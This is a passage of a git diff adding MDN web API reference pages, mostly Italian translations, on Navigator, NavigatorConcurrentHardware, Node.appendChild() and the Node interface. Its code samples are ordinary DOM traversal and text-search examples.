+ <dd>Returns an {{domxref("window.navigator.mozApps", "Apps")}} object you can use to install, manage, and control <a href="/Open_Web_Apps" title="Open Web apps">Open Web apps</a>.</dd>
+ <dt>{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}</dt>
+ <dd>The <code>navigator.mozAudioChannelManager</code> object provides access to the {{domxref("mozAudioChannelManager")}} interface, which is used to manage your Firefox OS device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.</dd>
+ <dt>{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}</dt>
+ <dd>Returns a {{domxref("navigator.mozNotification", "notification")}} object you can use to deliver notifications to the user from your web application.</dd>
+ <dt>{{domxref("navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>The Object, returned by the <code>navigator.mozSocial</code> property, is available within the social media provider's panel to provide functionality it may need.</dd>
+ <dt>{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build number of the current browser (e.g., "20060909").</dd>
+ <dt>{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Returns an empty string. In Netscape 4.7x, returns "US &amp; CA domestic policy" or "Export policy".</dd>
+ <dt>{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.</dd>
+ <dt>{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd>Returns the vendor name of the current browser (e.g., "Netscape6").</dd>
+ <dt>{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd>Returns the vendor version number (e.g. "6.1").</dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API"><code>navigator.webkitPointer</code></a> {{non-standard_inline}}</dt>
+ <dd>Returns a PointerLock object for the <a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock API</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<p><em>Doesn't inherit any method, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, </em>and {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Standard_2">Standard</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorUserMedia.getUserMedia()")}}</dt>
+ <dd>After having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer.</dd>
+ <dt>{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given MIME type.</dd>
+ <dt>{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given protocol.</dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Returns <code>false</code>. JavaScript taint/untaint functions removed in JavaScript 1.2.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd>Causes vibration on devices with support for it. Does nothing if vibration support isn't available.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Non standard</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}</dt>
+ <dd>Lets code check to see if the document at a given URI is available without using the network.</dd>
+ <dt>{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}</dt>
+ <dd>Allows in-app payment.</dd>
+ <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt>
+ <dd>Sets a user preference. This method is <a class="external" href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">only available to privileged code</a> and is obsolete; you should use the XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a> instead.</dd>
+ <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt>
+ <dd>Request a wake lock for a resource. A wake lock prevents a specific part of a device from being turned off automatically.</dd>
+</dl>
diff --git a/files/it/web/api/navigatorconcurrenthardware/index.html b/files/it/web/api/navigatorconcurrenthardware/index.html
new file mode 100644
index 0000000000..10fb1576ca
--- /dev/null
+++ b/files/it/web/api/navigatorconcurrenthardware/index.html
@@ -0,0 +1,56 @@
+---
+title: NavigatorConcurrentHardware
+slug: Web/API/NavigatorConcurrentHardware
+translation_of: Web/API/NavigatorConcurrentHardware
+---
+<p> </p>
+
+<p>Il <strong><code>NavigatorConcurrentHardware</code></strong> aggiunge all'interfaccia delle caratteristiche che permettono ai contenuti Web di determinare quanti processori logici sono a disposizione dell'utente, in modo tale da ottimizzare le operazioni di contenuti e Web apps che possano usufruire al meglio la CPU dell'utente.</p>
+
+<p>Il numero dei processori logici del <strong>core </strong>serve a misurare il numero di <em>threads </em>che possono essere di fatto eseguiti per volta, senza che questi condividano la stesse CPU. Oggigiorno i computer hanno diversi core nella loro CPU(2 o 4 cores). Ogni core è in grado di eseguire più di un <strong>thread</strong> per volta, avvalendosi di tecniche avanzate di <strong>scheduling</strong>. Una CPU a 4 cores può restituire dunque 8 threads. Tuttavia, il browser può scegliere di ridurre questo numero in modo tale da rappresentare in maniera più accurata il numero di <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker" title="The Worker interface of the Web Workers API represents a background task that can be easily created and can send messages back to its creator. Creating a worker is as simple as calling the Worker() constructor and specifying a script to be run in the worker thread.">Worker</a></code> eseguiti per volta.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/NavigatorConcurrentHardware/hardwareConcurrency" title="The navigator.hardwareConcurrency read-only property returns the number of logical processors available to run threads on the user's computer."><code>NavigatorConcurrentHardware.hardwareConcurrency</code></a> </dt>
+ <dd>Restituisce il numero di processori logici disponibili allo user agent. Il valore sarà sempre almeno pari a 1 e restituirà 1 se non è possibile determinare il numero di processori logici. </dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p>Il mixin di<code style=""> <em>NavigatorConcurrentHardware</em></code><em> </em>non ha metodi.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://html.spec.whatwg.org/multipage/#navigatorconcurrenthardware" hreflang="en" lang="en" rel="noopener">HTML Living Standard<br>
+    <small lang="en-US">The definition of 'NavigatorConcurrentHardware' in that specification.</small></a></td>
+   <td>Living Standard</td>
+   <td>
+    <p>Definizione Iniziale</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">La tabella di compatibilità di questa pagina è generata da dati strutturati. Se vuoi contribuire, visita la pagina <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div>
+
+<p>{{Compat("api.NavigatorConcurrentHardware")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator" title="The Navigator interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities."><code>Navigator</code></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WorkerNavigator" title="The WorkerNavigator interface represents a subset of the Navigator interface allowed to be accessed from a Worker. Such an object is initialized for each worker and is available via the WorkerGlobalScope.navigator property obtained by calling window.self.navigator."><code>WorkerNavigator</code></a></li>
+</ul>
diff --git a/files/it/web/api/node/appendchild/index.html b/files/it/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..acef4909a3
--- /dev/null
+++ b/files/it/web/api/node/appendchild/index.html
@@ -0,0 +1,99 @@
+---
+title: Node.appendChild()
+slug: Web/API/Node/appendChild
+tags:
+  - API
+  - DOM
+  - Node
+  - Referenza
+  - metodo
+translation_of: Web/API/Node/appendChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo <code><strong>Node.appendChild()</strong></code> aggiunge un nodo alla fine dell'elenco di figli di un nodo genitore specificato. Se il figlio dato è un riferimento a un nodo esistente nel documento, <code>appendChild()</code> lo sposta dalla sua posizione corrente alla nuova posizione (non è necessario rimuovere il nodo dal suo nodo padre prima di aggiungerlo ad un altro nodo).</p>
+
+<p>Ciò significa che un nodo non può essere in due punti del documento contemporaneamente. Quindi se il nodo ha già un genitore, il nodo viene prima rimosso, quindi aggiunto alla nuova posizione. Il metodo {{domxref("Node.cloneNode()")}} può essere usato per fare una copia del nodo prima di aggiungerlo sotto il nuovo genitore. Si noti che le copie eseguite con <code>cloneNode</code> non verranno automaticamente mantenute sincronizzate.</p>
+
+<p>Se il figlio dato è un {{domxref("DocumentFragment")}}, l'intero contenuto di {{domxref("DocumentFragment")}} viene spostato nell'elenco secondario del nodo genitore specificato.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>element</em>.appendChild(<em>aChild</em>);</pre>
+
+<h3 id="Returns" name="Returns">Parametri</h3>
+
+<dl>
+ <dt><strong>aChild</strong></dt>
+ <dd>Il nodo da aggiungere al nodo genitore dato (comunemente un elemento).</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Valore di ritorno</h3>
+
+<p>Il valore restituito è il figlio aggiunto tranne quando il figlio dato è un {{domxref("DocumentFragment")}}, nel qual caso viene restituito il {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Notes" name="Notes">Appunti</h2>
+
+<p>Il concatenamento potrebbe non funzionare come previsto a causa di <code>appendChild()</code> che restituisce l'elemento figlio:</p>
+
+<pre class="brush: js">var aBlock = doc.createElement('block').appendChild(doc.createElement('b'));</pre>
+
+<p>Sets <code>aBlock</code> to <code>&lt;b&gt;&lt;/b&gt;</code> only, which is probably not what you want.</p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:js">// Crea un nuovo elemento di paragrafo e aggiungilo alla fine del corpo del documento
+var p = document.createElement("p");
+document.body.appendChild(p);</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento da {{SpecName("DOM3 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName("DOM2 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione inziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Node.appendChild")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+</ul>
diff --git a/files/it/web/api/node/index.html b/files/it/web/api/node/index.html
new file mode 100644
index 0000000000..97fdc9ed89
--- /dev/null
+++ b/files/it/web/api/node/index.html
@@ -0,0 +1,368 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Interface
+  - NeedsTranslation
+  - Node
+  - Reference
+  - TopicStub
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Node</code></strong> is an interface from which a number of DOM API object types inherit. It allows those types to be treated similarly; for example, inheriting the same set of methods, or being tested in the same way.</span></p>
+
+<p>The following interfaces all inherit from <code>Node</code>’s methods and properties: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Attr")}}, {{domxref("CharacterData")}} (which {{domxref("Text")}}, {{domxref("Comment")}}, and {{domxref("CDATASection")}} inherit), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
+
+<p>These interfaces may return <code>null</code> in certain cases where the methods and properties are not relevant. They may throw an exception — for example when adding children to a node type for which no children can exist.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parents {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the base URL. The concept of base URL changes from one language to another; in HTML, it corresponds to the protocol, the domain name and the directory structure, that is all until the last <code>'/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{domxref("NodeList")}} object is automatically updated.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.isConnected")}} {{readonlyInline}}</dt>
+ <dd>Returns a boolean indicating whether or not the Node is connected (directly or indirectly) to the context object, e.g. the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the node type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the <code>'#text'</code> string, or a {{domxref("Document")}} node will have the <code>'#document'</code> string.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>A {{ Interface("nsIPrincipal") }} representing the node principal.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Name</th>
+    <th scope="col">Value</th>
+   </tr>
+   <tr>
+    <td><code>ELEMENT_NODE</code></td>
+    <td><code>1</code></td>
+   </tr>
+   <tr>
+    <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>2</code></td>
+   </tr>
+   <tr>
+    <td><code>TEXT_NODE</code></td>
+    <td><code>3</code></td>
+   </tr>
+   <tr>
+    <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>4</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>5</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>6</code></td>
+   </tr>
+   <tr>
+    <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+    <td><code>7</code></td>
+   </tr>
+   <tr>
+    <td><code>COMMENT_NODE</code></td>
+    <td><code>8</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_NODE</code></td>
+    <td><code>9</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_TYPE_NODE</code></td>
+    <td><code>10</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+    <td><code>11</code></td>
+   </tr>
+   <tr>
+    <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>12</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Returns / Sets the value of the current node</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Document")}} that this node belongs to. If the node is itself a document, returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Returns / Sets the textual content of an element and all its descendants.</dd>
+</dl>
+
+<h3 id="Deprecated_properties">Deprecated properties</h3>
+
+<dl>
+ <dt>{{domxref("Node.rootNode")}} {{readOnlyInline}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{domxref("Node")}} object representing the topmost node in the tree, or the current node if it's the topmost node in the tree. This has been replaced by {{domxref("Node.getRootNode()")}}.</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element.
+ <div class="note">
+ <p><strong>Note:</strong> In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>The namespace URI of this node, or <code>null</code> if it is no namespace.
+ <div class="note">
+ <p><strong>Note:</strong> In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="https://www.w3.org/1999/xhtml/">http://www.w3.org/1999/xhtml/</a></code> namespace in both HTML and XML trees. {{gecko_minversion_inline("1.9.2")}}</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Adds the specified childNode argument as the last child to the current node.<br>
+ If the argument referenced an existing node on the DOM tree, the node will be detached from its current position and attached at the new position.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd>Compares the position of the current node against another node in any other document.</dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} value indicating whether a node is a descendant of a given node or not.</dd>
+ <dt>{{domxref("Node.getRootNode()")}}</dt>
+ <dd>Returns the context object's root which optionally includes the shadow root if it is available. </dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has any child nodes, or not.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Inserts a {{domxref("Node")}} before the reference node as a child of a specified parent node.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd>Accepts a namespace URI as an argument and returns a {{jsxref("Boolean")}} with a value of <code>true</code> if the namespace is the default namespace on the given node or <code>false</code> if not.</dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} which indicates whether or not two nodes are of the same type and all their defining data points match.</dd>
+ <dt>{{domxref("Node.isSameNode()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} value indicating whether or not the two nodes are the same (that is, they reference the same object).</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the prefix for a given namespace URI, if present, and <code>null</code> if not. When multiple prefixes are possible, the result is implementation-dependent.</dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd>Accepts a prefix and returns the namespace URI associated with it on the given node if found (and <code>null</code> if not). Supplying <code>null</code> for the prefix will return the default namespace.</dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Removes a child node from the current element, which must be a child of the current node.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.</dd>
+</dl>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to get some {{domxref("DOMUserData")}} from the node.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has any attributes, or not.</dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Remove_all_children_nested_within_a_node">Remove all children nested within a node</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};</pre>
+
+<h4 id="Sample_usage">Sample usage</h4>
+
+<pre class="brush: js">/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h3 id="Recurse_through_child_nodes">Recurse through child nodes</h3>
+
+<p>The following function calls a function recursively for each node contained by a root node (including the root itself):</p>
+
+<pre class="brush: js">function eachNode(rootNode, callback){
+	if(!callback){
+		var nodes = [];
+		eachNode(rootNode, function(node){
+			nodes.push(node);
+		});
+		return nodes;
+	}
+
+	if(false === callback(rootNode))
+		return false;
+
+	if(rootNode.hasChildNodes()){
+		var nodes = rootNode.childNodes;
+		for(var i = 0, l = nodes.length; i &lt; l; ++i)
+			if(false === eachNode(nodes[i], callback))
+				return;
+	}
+}</pre>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre class="syntaxbox">eachNode(rootNode, callback);</pre>
+
+<h4 id="Description">Description</h4>
+
+<p>Recursively calls a function for each descendant node of <code>rootNode</code> (including the root itself).</p>
+
+<p>If <code>callback</code> is omitted, the function returns an {{jsxref("Array")}} instead, which contains <code>rootNode</code> and all nodes contained therein.</p>
+
+<p>If <code>callback</code> is provided, and it returns {{jsxref("Boolean")}} <code>false</code> when called, the current recursion level is aborted, and the function resumes execution at the last parent's level. This can be used to abort loops once a node has been found (such as searching for a text node that contains a certain string).</p>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>rootNode</code></dt>
+ <dd>The <code>Node</code> object whose descendants will be recursed through.</dd>
+ <dt><code>callback</code></dt>
+ <dd>An optional callback <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">function</a> that receives a <code>Node</code> as its only argument. If omitted, <code>eachNode</code> returns an {{jsxref("Array")}} of every node contained within <code>rootNode</code> (including the root itself).</dd>
+</dl>
+
+<h4 id="Sample_usage_2">Sample usage</h4>
+
+<p>The following example prints the <a href="/en-US/docs/Web/API/Node/textContent"><code>textContent</code></a> properties of each <code>&lt;span&gt;</code> tag in a <code>&lt;div&gt;</code> element named <code>"box"</code>:</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+	&lt;span&gt;Foo&lt;/span&gt;
+	&lt;span&gt;Bar&lt;/span&gt;
+	&lt;span&gt;Baz&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: js">var box = document.getElementById("box");
+eachNode(box, function(node){
+	if(null != node.textContent){
+		console.log(node.textContent);
+	}
+});</pre>
+
+<p>The following strings will be displayed in the user's console:</p>
+
+<pre class="brush: js">"\n\t", "Foo", "\n\t", "Bar", "\n\t", "Baz"</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Whitespace forms part of a {{domxref("Text")}} node, meaning indentation and newlines form separate <code>Text</code> between the <code>Element</code> nodes.</p>
+</div>
+
+<h4 id="Realistic_usage">Realistic usage</h4>
+
+<p>The following demonstrates a real-world use of the <code>eachNode</code> function: searching for text on a web-page. We use a wrapper function named <code>grep</code> to do the searching:</p>
+
+<pre class="brush: js">function grep(parentNode, pattern){
+	var matches = [];
+	var endScan = false;
+
+	eachNode(parentNode, function(node){
+		if(endScan)
+			return false;
+
+		// Ignore anything which isn't a text node
+		if(node.nodeType !== Node.TEXT_NODE)
+			return;
+
+		if("string" === typeof pattern){
+			if(-1 !== node.textContent.indexOf(pattern))
+				matches.push(node);
+		}
+		else if(pattern.test(node.textContent)){
+			if(!pattern.global){
+				endScan = true;
+				matches = node;
+			}
+			else matches.push(node);
+		}
+	});
+
+	return matches;
+}</pre>
+
+<p>For example, to find {{domxref("Text")}} nodes that contain typos:</p>
+
+<pre class="brush: js">var typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"];
+var pattern = new RegExp("\\b(" + typos.join("|") + ")\\b", "gi");
+var mistakes = grep(document.body, pattern);
+console.log(mistakes);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{domxref("Document")}}.<br>
+    The <code>normalize()</code> method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.<br>
+    Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+    Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>The <code>ownerDocument</code> property was slightly modified so that {{domxref("DocumentFragment")}} also returns <code>null</code>.<br>
